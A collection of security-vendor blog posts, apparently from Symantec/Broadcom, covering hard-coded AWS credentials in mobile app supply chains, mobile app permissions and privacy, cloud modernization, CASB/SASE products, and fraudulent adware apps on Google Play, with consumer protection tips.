This blog examines the type of upstream supply chain issues that can make their way into mobile apps, making them vulnerable. These issues include:
Mobile app developers unknowingly using vulnerable external software libraries and SDKs
Companies outsourcing the development of their mobile apps, which then end up with vulnerabilities that put them at risk
Companies, often larger ones developing multiple apps across teams, using cross-team vulnerable libraries in their apps
In order to better understand the prevalence and scope of these supply chain vulnerabilities, we took a look at publicly available apps in our global app collection that contained hard-coded Amazon Web Services (AWS) credentials. Hard-coded cloud credentials is a type of vulnerability we've been looking at for years and have extensively covered in the past. This time, in order to get to the bottom of the supply chain impacts caused by this issue, we've looked into why app developers hard-code cloud credentials inside apps; where the hard-coded credentials are located in the apps - tracking the sequence, or chain of events leading to the vulnerability; and finally, the size of the problem and its impact.
Scope of the problem
We identified 1,859 publicly available apps, both Android and iOS, containing hard-coded AWS credentials. Almost all were iOS apps (98%) - a trend and difference between the platforms we've been tracking for years, possibly linked to different app store vetting practices and policies. In any case, we examined the scope and extent of the risks involved when AWS credentials were found embedded inside apps. We found the following:
Over three-quarters (77%) of the apps contained valid AWS access tokens allowing access to private AWS cloud services
Close to half (47%) of those apps contained valid AWS tokens that also gave full access to numerous, often millions, of private files via the Amazon Simple Storage Service (Amazon S3)
We will explore the type of private data exposed in the examples discussed later in this blog, but the message is clear: apps with hard-coded AWS access tokens are vulnerable, active, and present a serious risk.
Source of the problem
We then looked into why and where exactly the AWS access tokens were inside the apps, and if they are found in other apps.
We discovered that over half (53%) of the apps were using the same AWS access tokens found in other apps. Interestingly, these apps were often from different app developers and companies. This pointed at a supply chain vulnerability, and that's exactly what we found. The AWS access tokens could be traced to a shared library, third-party SDK, or other shared component used in developing the apps.
As for the remaining question of why app developers are using hard-coded access keys, we found the reasons to include:
Downloading or uploading assets and resources required for the app, usually large media files, recordings, or images
Accessing configuration files for the app and/or registering the device and collecting device information and storing it in the cloud
Accessing cloud services that require authentication, such as translation services, for example
No specific reason, dead code, and/or used for testing and never removed
If an access key only has permission to access a specific cloud service or asset, for example accessing public image files from the corporate Amazon S3 service, the impact may be minimal. Some app developers may be assuming this is the case when they embed and use hard-coded AWS access tokens to access a single bucket or file in Amazon S3. The problem is often the same AWS access token exposes all files and buckets in the Amazon S3 cloud, often corporate files, infrastructure files and components, database backups, etc. Not to mention cloud services beyond Amazon S3 that are accessible using the same AWS access token.
Imagine a business-to-business (B2B) company providing access to its service using a third-party SDK and embedding an AWS hard-coded access key, exposing not only the private data of the app using the third-party SDK, but also the private data of all apps using the third-party component. Unfortunately, this is not an uncommon occurrence, as you can see in the following case study examples.
Case studies
Intranet platform SDK
We found a B2B company providing an intranet and communication platform had also provided a mobile SDK that its customers could use to access the platform. Unfortunately, the SDK also contained the B2B company’s cloud infrastructure keys, exposing all of its customers' private data on the B2B company’s platform. Their customers' corporate data, financial records, and employees' private data was exposed. All the files the company used on its intranet for over 15,000 medium-to-large-sized companies were also exposed.
Why did the company hard-code the AWS access token? In order to access the AWS translation service. Instead of limiting the hard-coded access token for use with the translation cloud service, anyone with the token had full unfettered access to all the B2B company’s AWS cloud services.
Digital identity and authentication
We discovered several popular banking apps on iOS that rely on the same vulnerable third-party AI Digital Identity SDK. Outsourcing the digital identity and authentication component of an app is a common development pattern as the complexities of providing different forms of authentication, maintaining the secure infrastructure, and accessing and managing the identities can incur a high cost and requires expertise in order to do it right. Unfortunately, in this case, things were not done right.
Embedded in the SDK were cloud credentials that could place entire infrastructures at risk. The credentials could expose private authentication data and keys belonging to every banking and financial app using the SDK. Furthermore, users' biometric digital fingerprints used for authentication, along with users’ personal data (names, dates of birth, etc.), were exposed in the cloud.
In addition, the access key exposed the infrastructure server and blueprints, including the API source code and AI models, used for the whole operation.
In total, over 300,000 biometric digital fingerprints were leaked across five mobile banking apps using the SDK.
Online gaming technology platform
Often already established companies rely on outsourcing, or partnering, with other B2B companies for their digital and online services. This allows them to quickly move their brand online without having to build and support the underlying technology platform. At the same time, by relying on the outsourced company to run the technology platform, they often have to give exclusive access to their business data. Furthermore, they have to trust that the outsourced company will protect the online private data, not to mention the reputation of the brand overall.
We found a large hospitality and entertainment company depending on another company for their technology platform, even forming a sports betting joint venture with the company.
With a highly regulated sports betting market the complexities of building and supporting infrastructure for online gambling cannot be understated. Unfortunately, by giving the joint venture company exclusive access to that part of its business, the company also exposed its gaming operations, business data, and customer data to the world.
In total, 16 different online gambling apps using the vulnerable library exposed full infrastructure and cloud services across all AWS cloud services with full read/write root account credentials.
All of the organizations whose vulnerable apps were discussed in these case studies have been notified about the issues we uncovered.
Avoiding supply chain issues
Protecting yourself from these types of supply chain issues is possible. Adding security scanning solutions to the app development lifecycle and, if using an outsourced provider, requiring and reviewing Mobile App Report Cards, which can identify any unwanted app behaviors or vulnerabilities for every release of a mobile app, can all be helpful in highlighting potential issues. As an app developer, look for a report card that both scans SDKs and frameworks in your application and identifies the source of any vulnerabilities or unwanted behaviors.
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Mobile Privacy: What Do Your Apps Know About You?
Just how much personal information are your apps gathering? And do they really need so much?
The average smartphone user these days has between 60 and 90 apps on their device. Most of these apps request some sort of information about you and the device you are using. They may want to know your name, your email address, or your real-world address. But because smartphones are so powerful, they can also get quite a bit more than that, such as your exact location. Some apps will even request access to the device’s camera or microphone.
While all of this is done with the user’s consent, you may be surprised at the level of access some apps have to personal data. Did you know that 45 percent of the most popular Android apps and 25 percent of the most popular iOS apps request location tracking, for example? Or that 46 percent of popular Android apps and 25 percent of popular iOS apps request permission to access your device’s camera? Some Android apps even ask you to give them access to your SMS messages and phone call logs.
Under the microscope
In order to find out what kind of data your apps may be looking for, we decided to put the most popular to the test. We downloaded and analyzed the top 100 free apps as listed on the Google Play Store and Apple App Store on May 3, 2018. For each app, we tried to find out two main things: how much personal information was the user sharing with the app and which smartphone features the app accessed?
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Neither practice is inherently suspicious. In most cases, information is shared and device permissions are enabled with the user’s consent. And there is usually a very good reason why apps require either. For example, a taxi app will need to be able to access a user’s location in order to tell the driver where to go. Instead, we were more interested in whether any apps were requesting excessive access to information or if app developers were doing everything they could to protect users’ privacy.
Personal information
One of the first things we looked at was the amount of personally identifiable information (PII) that apps requested users share with them. Email addresses were the most common piece of PII shared with apps and were shared with 48 percent of the iOS apps and 44 percent of the Android apps analyzed. The next most common piece of PII was the username (which is usually someone’s full name as they’ve entered it on social networking sites or on the app), which was shared with 33 percent of iOS apps and 30 percent of Android apps. Phone numbers, meanwhile, were shared with 12 percent of iOS apps and 9 percent of Android apps. Finally, the user’s address was shared with 4 percent of iOS apps and 5 percent of Android apps.
However, these stats don’t fully account for the full amount of PII being shared with apps.
Several apps integrate with social media so that the user can log into the app using their social media account and allow the app to post directly to the social networking site. For the user, this means they don’t need to manage passwords for every app, can invite friends to play mobile games, and share app info on their timeline.
But this symbiotic relationship also allows the app to collect user data from the social media account, while also allowing the social media service to collect data from the app. In the case of iOS apps using social media integration, we were able to see what PII was being shared. However, in the case of Android apps, we weren’t. This was because the apps in question all employed Facebook’s widely used Graph application programming interface (API) and the Android version of Graph uses certificate pinning, which prevented us from seeing what PII was being shared (we’ll discuss certificate pinning in more detail later).
Therefore, when we say that email addresses are shared with 44 percent of the Android apps, that figure could be higher because some Android apps use the Facebook Graph API and this may share an email address with them too.
Facebook Graph may be familiar to some people because it was used by Cambridge Analytica to compile personal information relating to 87 million Facebook users. This information was reportedly then used in targeted social media campaigns directed at voters during the 2016 U.S. presidential election campaign. Facebook responded to this incident by significantly tightening up its API and restricting the amount of personal information that can be shared through it.
While Facebook Graph may be the best-known integration service, it isn’t the most widely used. Of the apps we analyzed, 47 percent of Android apps and 29 percent of iOS apps offered the Google integration service, while 41 percent of Android apps and 26 percent of iOS apps offered the Facebook Graph API service.
Some permissions are more risky than others
Aside from personal information, apps will also need permission to access various features on your mobile device. For example, if you want to take a picture using Instagram, the app will need permission to use your device’s camera.
There is a massive amount of permissions an app could request, but not all permissions are the same. For that reason, we took a closer look at what we term “risky permissions” - permissions that could provide access to data or resources that involve the user's private information or could potentially affect the user's stored data or the operation of other apps. Examples of risky permissions include access to the user’s location, contacts, SMS messages, phone logs, camera, or calendar.
What did we find? Camera access was the most requested common risky permission, with 46 percent of Android apps and 25 percent of iOS apps seeking it. That was closely followed by location tracking, which was sought by 45 percent of Android apps and 25 percent of iOS apps. Twenty five percent of Android apps requested permission to record audio, while 9 percent of iOS apps did. Finally, 15 percent of Android apps sought permission to read SMS messages and 10 percent sought access to phone call logs. Neither of these permissions are available in iOS.
Two things should be stressed when talking about risky permissions. Firstly, they require the user’s permission to access this data. And secondly, just because we’ve called them risky permissions doesn’t mean they shouldn’t be granted. As explained before, there’s usually a reason they’re required. Instead, they should be seen as permissions the user should exercise more caution about granting, asking themselves if the app really does need this permission and if they’re comfortable granting it to this particular app. For example, do you really want to give an app access to your calls and text messages simply to provide personalized alerts?
Interestingly, in cases where we were analyzing both the Android and iOS versions of apps, some Android apps requested more risky permissions than their iOS counterparts. Seven Android apps requested access to SMS messages, while their iOS versions did not. One Android app requested access to phone call logs, while its iOS version did not. While neither permission is available in iOS, it does beg the question of why these permissions were requested in the Android version while the iOS version can do without them.
Are all permissions necessary?
Do some apps request too many permissions? We took a closer look at several that seemed to request a lot. The first was the Android horoscope app “Zodiac Signs 101 – 12 Zodiac Signs & Astrology", which has been downloaded more than 1 million times. Among the permissions it sought were:
Precise user location
Access to user’s contacts
Send and receive SMS messages
Receive MMS messages
Permission to directly call phone numbers
Permission to reroute outgoing calls
Access to phone call logs
Access to camera
Read/write contents of USB storage
Read phone status and identity
The second example we looked at was the Android flashlight app "Brightest Flashlight LED - Super Bright Torch", which has 10 million installs. Included in the list of permissions it sought were:
Precise user location
Access to user’s contacts
Send SMS messages
Permission to directly call phone numbers
Permission to reroute outgoing calls
Access to camera
Record audio via microphone
Read/write contents of USB storage
Read phone status and identity
Ultimately, it may be up to the user to ask if these additional features are essential to the function of the app and if it’s worth granting permissions for features that only provide marginal benefits.
Do these apps really need all of these permissions? In each case, there were features in the app which made use of the permission. For example, Brightest Flashlight LED offers the user extensive customization options and the ability to make it flash in different ways when the user receives incoming calls or texts. In order to do that, it would need access to calls and messages.
Are some app developers adding features simply to gain access to permissions? It’s a possibility, but something we can’t provide a definitive answer to. Ultimately, it may be up to the user to ask if these additional features are essential to the function of the app and if it’s worth granting permissions for features that only provide marginal benefits.
Lax security practices
Worryingly, a small number of the apps we examined employed very poor security and privacy practices. Four percent of the Android apps and 3 percent of the iOS apps requesting risky permissions didn’t have any privacy policy. Ideally, every app should have a privacy policy which states clearly what data is being collected, where it is being stored, who it is being shared with, and so on.
Meanwhile, only a minority of apps implement certificate pinning at login: 8 percent of Android apps and 11 percent of iOS apps. What is certificate pinning? It’s a security precaution that helps prevent attackers intercepting supposedly secure communications. It does this by ensuring the app only communicates with a server using the correct security certificate.
However, there are differing opinions about certificate pinning. For example, Apple says it doesn’t recommend that apps do their own certificate pinning, as it’s an approach that can lead to overall fragility and problems in enterprise environments.
Bamboozled by privacy policies
Even when apps do have privacy policies, users can still find it difficult to keep track of what they are consenting to. While each app has its own set of permissions and privacy policies, there are several complicating factors.
While some apps are self-contained, there are many that require additional apps or links to third party websites to function correctly (e.g. display advertising) or provide additional functionality, such as installing themes or providing additional levels in games. Some of these may be third-party apps.
Each additional app may have its own privacy policy (or none) and the user cannot assume the top-level app’s privacy policy covers subsequent app downloads.
However, most apps will disclaim any responsibility for use of the data by third parties.
In short, while you may be sure of your ground when it comes to a single app with a single privacy policy, once additional apps are plugged into it, the picture becomes increasingly complex, particularly when it comes to third-party apps.
Is this something to be concerned about? A significant number of apps that request risky permissions are tied to third-party apps. Of the Android apps that require risky permissions, 40 percent have links to third-party apps. Either normal app functionality is interrupted with advertisements or there were links to third-party apps for normal functionality (for example purchase links to seller sites). Meanwhile, 16 percent of the iOS apps that require risky permissions have links to third-party apps.
Guarding your privacy
How to avoid granting excessive permissions
Before you install an app:
Read the permissions required for the app.
Think about why an app needs the permissions it requests. If the permissions seem excessive, ask yourself if it’s likely they are there simply to acquire data about you.
Read the privacy policy. If there's none, or if it's impossible to determine from it where your data will go, don't install the app.
If you have already installed the app:
In the case of Android apps, you can remove unnecessary permissions by going to the Settings menu and then clicking on Permissions. Removing permissions may cause a poorly designed app to stop working. Well-designed apps will indicate if they need a permission when you attempt to perform the function that requires it.
In the case of iOS apps, you can remove unnecessary permissions by going to the Settings menu and then clicking on Privacy.
How to protect your personal information
Read the privacy policy on each social networking site and app you use.
Ideally, don't sign into an app using your social networking site account. If you do, check what data the app will receive from the social network account.
If you do sign into apps using your social network account, be frugal about how much information you provide in your public profile on social networking sites.
When you post data to a social networking site from an app, think about whether you want the social networking site to have this information about your app.
How to check what apps are using data from your Facebook account
Go to the small down-arrow at the top right of the homepage and select Settings.
Select “Apps & Websites in the menu on the left to discover what apps are actively using your data.
Select each app to view and edit the permissions on the data it uses.
How to check what apps are using data from your Google account
Visit https://myaccount.google.com/permissions
Here you can review and edit what third-party apps have access to your Google account.
You can also review and edit which apps are using Google for sign in and what information is being shared with them.
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Modernizing Enterprise Software for Agility, Scalability, and Security
Partnering with Google Cloud for continuous innovation
As Broadcom continues to find new ways to innovate and partner with the best, Google Cloud has become one of those partners that is helping us deliver world class solutions to the enterprise. I recently had the privilege of talking with Lee Moore, head of Google Cloud's Customer Experience Group, about modernizing enterprise software for agility, scalability, and security.
Here are the highlights from our conversation:
What Are Challenges Customers Face to Modernization?
Working with customers, Lee hears consistent themes around business transformation, talent risks, and the need to better manage costs.
Clearly, we inhabit a hyper-competitive market where startups constantly challenge incumbents. At the same time, many established enterprises are trying to pivot their business models to be more digital. So, the overarching goal is to deliver better end user experience by becoming more agile. Ultimately, that manifests itself in being able to make more decisions in real time, usually by harnessing advanced technologies like Artificial Intelligence (AI) or Machine Learning (ML).
But this isn’t easy. It’s become harder than ever to find talent given the historically low levels of unemployment worldwide. With unemployment rate at around 3% and greater dearth of technical talent, organizations are looking for ways to attract talent who want to work on the latest technology stack, while also seeking to improve productivity and automation.
Companies are also facing cost constraints of running their own data centers, so they seek out GCP for economies of scale and to improve the reliability, security, and elasticity of their infrastructure.
Broadcom’s Modernization
As someone who has been involved in Broadcom’s ongoing modernization, this makes sense to me. For many years, Broadcom was known for its prowess only as a hardware company. When we pivoted to focus on software, we had no choice but to continue to modernize across our technology.
We had to transition our software from datacenters to the cloud. We also needed to do a fair bit of re-architecting so that instead of selling software in pieces, we created complete solutions that allowed customers to reap the full benefits—the solutions were bigger than the sum of its parts
Ultimately, our goal was to bolster product resiliency, reduce the chance of outages, and improve our time to delivery cycle for releasing new capabilities and applications. And that’s exactly what we accomplished – and it required Broadcom to reimagine, deliver, and support our portfolio as an integral needed bundle of software rather than a series of one-off solutions.
Continuous Innovation
Lee explained that customers come to GCP looking to benefit from the velocity of innovation at Google Cloud. He described how they use the platform’s tools to innovate faster and deliver new products to the market. By tapping into a platform that provides exceptional scalability, availability, and responsiveness regardless of geography, he said they are in a better position to meet the evolving needs of their end users.
We at Broadcom Software experienced this as well. We liberated our product teams from worrying about operations and data centers so they could focus on inventing great products and great customer experiences.
Reducing Complexity
We also talked about how a modernization agenda leads to the faster delivery of products, improved compliance, and higher levels of security. And perhaps most importantly, a modernized technology stack helps organizations quickly adapt and respond to the market.
Those are significant advantages because the more complex your IT architecture with different platforms or silos, the more risk you introduce. By modernizing and having an open system, you can reduce IT complexity and therefore reduce risk. What’s more, a modernized technology stack helps quickly adapt and respond to the market, economic and customer demands.
Broadcom just sponsored a survey by Harvard Business Review on the topic of IT complexity. It turned out that 82% of the respondents flagged it as an impediment to success. What’s more, another 63% of respondents said that incompatible systems and technologies were at the top of the list of factors contributing to complexity.
Broadcom and GCP
Broadcom has its own success story with GCP. We compressed what would normally be a 10-year transition into six months. Before consolidating on GCP, we were running 60-plus data centers globally. The plan was to replace all 60-plus data centers in 6 months—which we did. And it was crucial that we, as partners, got this right because the workloads were time-sensitive and customer-sensitive, and any glitch could have a huge impact on customers.
More than two years later, the system continues to work, and most importantly, we achieved this without any noticeable impact on our customers.
It was a great success and it left Broadcom well positioned to drive innovation and continue to modernize our software solutions as we empowered customers to achieve their business goals. That’s what the business schools often qualify as a “win-win.”
To learn more about how Broadcom Software can help you modernize, optimize, and protect your enterprise, contact us here.
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More Essential Than Ever - The Role of CASB and SASE in Securing Cloud Usage
Staying safe, secure and compliant
Working from home has allowed many businesses to survive over the last year, but it has changed the security and data loss risk profile of organizations. First, home networks and personal devices lack the high levels of security offered by corporate networks. No wonder that we see the sophistication and volume of attacks against remote workers increasing.
To address these security and compliance risks, Symantec, as a division of Broadcom, recommends enterprises adopt a Secure Access Service Edge (SASE), cloud-based, security architecture. SASE combines networking and security-as-a-service capabilities, and prioritizes data and user protection over hardware or company networks.
A foundational component of SASE is Symantec CASB (cloud access security broker), because it helps companies use cloud applications and services with confidence - allowing users to stay safe, secure and compliant.
Why Choose CloudSOC (CASB)?
Symantec CloudSOC CASB offers critical capabilities for delivering the full life cycle of cloud application security. It provides fine grained controls to protect an organization’s digital assets across cloud applications. The three most important requirements are:
Productivity - secure access from anywhere,
Continuous risk monitoring and
Adaptive access control
Here’s how they work together to protect your enterprise:
Continuous Risk Monitoring
Symantec CloudSOC CASB continuously monitors risks like data loss, use of unsanctioned applications, malware, device security posture and compromised accounts. It gathers frequent data from cloud applications via its API integrations (Securlets), endpoints, gateway integrations (Gatelets) and Mirror Gateway, a superior alternative to reverse-proxy, which uses remote browser isolation to negate the need for an agent on unmanaged devices.
CloudSOC’s UEBA engine uses these signals and a variety of analytics approaches like rules and signature-based algorithms to trigger incident detectors. CloudSOC allows admins to set up thresholds for certain activities. (E.g. employees can upload files up to 200 MB.) When that threshold is crossed, an "incident detector" is triggered and an incident is created. Depending on the severity of the incident, the "ThreatScore" is increased by a certain amount. It also uses machine learning techniques like NLP, Advanced Outlier Detection, Bayesian modeling and others to detect anomalous user and device behavior. Based on this continuous risk monitoring, CloudSOC generates a “ThreatScore” and assigns it to users. This score indicates the level of risk associated with that user entity.
Adaptive Access Control
Adaptive access control harnesses the data from continuous risk monitoring to protect information. CASB can enforce real-time policies via its gateway to prevent:
Exfiltration of sensitive data
Block malicious content
Prevent malicious/compromised users from accessing cloud applications
Also helpful is real-time decision-making based on a person’s constantly changing ThreatScore. As a user’s ThreatScore changes, CloudSOC can automatically control his or her level of access to information. It can:
Reduce someone’s access privileges
Reduce privileges for sharing data
Prevent data from being shared with external entities
High-risk users can also be forced to go through multi-factor authentication (MFA), minimizing the risk of data loss.
How to Make the Most Out of Symantec CloudSOC CASB
Making the most of your Symantec CloudSoc CASB will ensure complete visibility and control into all your data stored in sanctioned and unsanctioned applications and enable you to monitor and control your user’s actions which is vital in your mission to protect sensitive data, identify overexposed files and prevent against data leakages.
Use CloudSOC to monitor all users’ access to cloud applications. Gather data on who is accessing what, ensure sensitive data is being discovered in the cloud and build baseline patterns of user behavior.
Don’t rely on a static risk assessment, continually monitor risk and adapt user access rights. Because threats change and user accounts can be compromised, it is no longer sufficient to allow users access to systems based on the original assessment of risk. Constantly monitor risk based on user behavior and other context (location, network, and device). Adapt access control based on real time risk assessments.
Free up time for your security team. CloudSOC uses machine learning and data gathered from millions of signals across many channels. It automates the process of behavioral profiling, adjusting access and authorization levels, leaving your security team to focus on other ways to reduce data loss and cyber security risk.
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More Fraudulent Apps Containing Aggressive Adware Found on Google Play
Symantec has found 68 fraudulent apps by five different developers that contain aggressive advertisements.
Adware come in various forms; some stay quietly on the side of the screen, while others aggressively pop up on the main screen, causing a nuisance for users. While the latter may not necessarily be malicious, these can nonetheless inflict a great deal of trouble on the user, especially when the application is as annoying as it is fraudulent.
We recently discovered at least 68 fraudulent apps by five different developers that contain aggressive advertisements on Google Play. We’ve categorized them according to their tricks. These apps promise one thing on the app description page but may not actually provide or perform the functionalities as described. Users who download these fraudulent apps end up only wasting time watching advertisements and not getting what they signed up for.
"Symantec mobile researchers discover 68 fraudulent apps available on Google Play pushing aggressive advertisements https://symc.ly/2MTb5Qz"
CLICK TO TWEET
Huge discrepancies between app content and its description/title
We found a number of apps on Google Play developed by EpicOmegaApps, which may look legitimate at first blush, since these come complete with an app title, description, and screenshots attached.
Figure 1. EpicOmegaApps's Sim Unlocker app comes complete with a title and description page, making it seem legitimate
All 11 apps by this developer were published in December 2017, with each having an installation count ranging from 50 to 50,000. One app named Sim Unlocker promises to unlock SIM cards so users can use any other SIM network operator. Another app, called Remote Mouse Pro, claims it can convert the user’s phone into a wireless mouse.
After users install the apps, they are subjected to a series of guided screens, with advertisements popping up at every single Next button pressed. However, despite the detailed descriptions for the apps, they provide none of the described functionalities.
All these apps manifest identical behaviors upon launching: after users install the apps, they are subjected to a series of guided screens, with advertisements popping up at every single Next button pressed. However, despite the detailed descriptions for the apps, they provide none of the described functionalities.
Figure 2. Similar screens of Sim Unlocker and Remote Mouse Pro that prompt users to enter their user names. Ads aggressively pop up at each click of the Next button.
A quick glance at the app reviews reveals a long list of complaints regarding these apps’ failure to deliver their promised functionalities, not to mention the aggressive advertising behavior.
Figure 3. User reviews for the Sim Unlocker app on the Play Store indicate users do not get the promised functionality
We’ve seen another developer, called Pinwheel, which published at least 40 identical fraudulent apps. Some of these apps were named after popular games and movies, such as Far Cry and 13 Reasons Why, to entice users to install them.
Figure 4. Pinwheel uses misleading names from popular movies and games to entice users
When launched, these apps show users only an image that’s similar to the Play Store app’s image, with very aggressive advertisement pop-ups. Unbeknownst to the user, the image displayed is not an actual splash screen, but rather a static image.
Figure 5. Pinwheel displays a make-believe splash screen, with many advertisements pushed
These apps were uploaded to Google Play in June 2018. As of this writing, the developer appeared to still be uploading such fake apps, which had a total installation count of at least 13,000.
Table 1. Details of the apps that contain a huge discrepancy between content and descriptions/titles
Minimal functionality that doesn’t match the description/title
While the first category lists apps that provide no functionality at all, this one includes apps that provide at least one—however, the functionality is different from what appears in the description.
We found two identical apps developed by Zaybra, localized in the Arabic and English language. These masquerade as mobile phone number tracker apps, but the only functionality both provide is announcing the phone number of incoming text messages and calls. This behavior is not listed in the Play Store’s description and title. These apps also push aggressive advertisements to users.
The two apps were uploaded to the Play Store between January and May 2018, with total download counts of 11,000.
Figure 6. The app, whose title translates to “Reveal the caller's name and place for free”, provides at least one functionality but it differs from the description
Table 2. Details of the apps that have minimal functionalities that do not match with their descriptions/titles
App content matches the description/title, but no real functionality provided
We also found data recovery apps by Simple Designs Ltd, which were published in May 2018, with a total of 34,000 downloads. These apps have a legitimate-looking user interface, but do not provide the promised functionalities.
These apps deceive users by giving a false impression that they indeed work as described. However, these apps do not actually recover any data. Rather, they just display the data that still exists on the user’s device. Aside from this fraudulent behavior, these apps also push advertisements to users every few seconds.
Figure 7. Simple Designs Ltd’s data recovery app as it appears on Google Play, and the seemingly legitimate user interface of the app
We’ve found other developers, such as AppTchi and Zaybra, which trick users into thinking that their apps worked as described, while displaying advertisements aggressively.
Two apps by these developers, which were uploaded around March and April 2018 and have a total installation count of 11,000, claimed to recover deleted data. To give users the impression that they functioned properly, the apps, which are localized in the Arabic language, used a fake progress bar and a fake notification which were purely aesthetic.
Figure 8. Zaybra’s image recovery app, whose translated title is “Accurately retrieve deleted pictures and videos in high quality”, used fake progress and notification bars
Table 3. Details of the apps whose content fits the description/title on Google Play, but do not provide any real functionality
We reported all the apps discussed in this blog to Google in July 2018. Some of the apps have been removed, while the rest are still available on the Play Store.
Protection
Symantec and Norton products detect these apps as:
Android.Clickads
Mitigation
Stay protected from mobile risks and malware by taking these precautions:
Keep your software up to date
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as Norton or Symantec Endpoint Protection Mobile, to protect your device and data
Make frequent backups of important data
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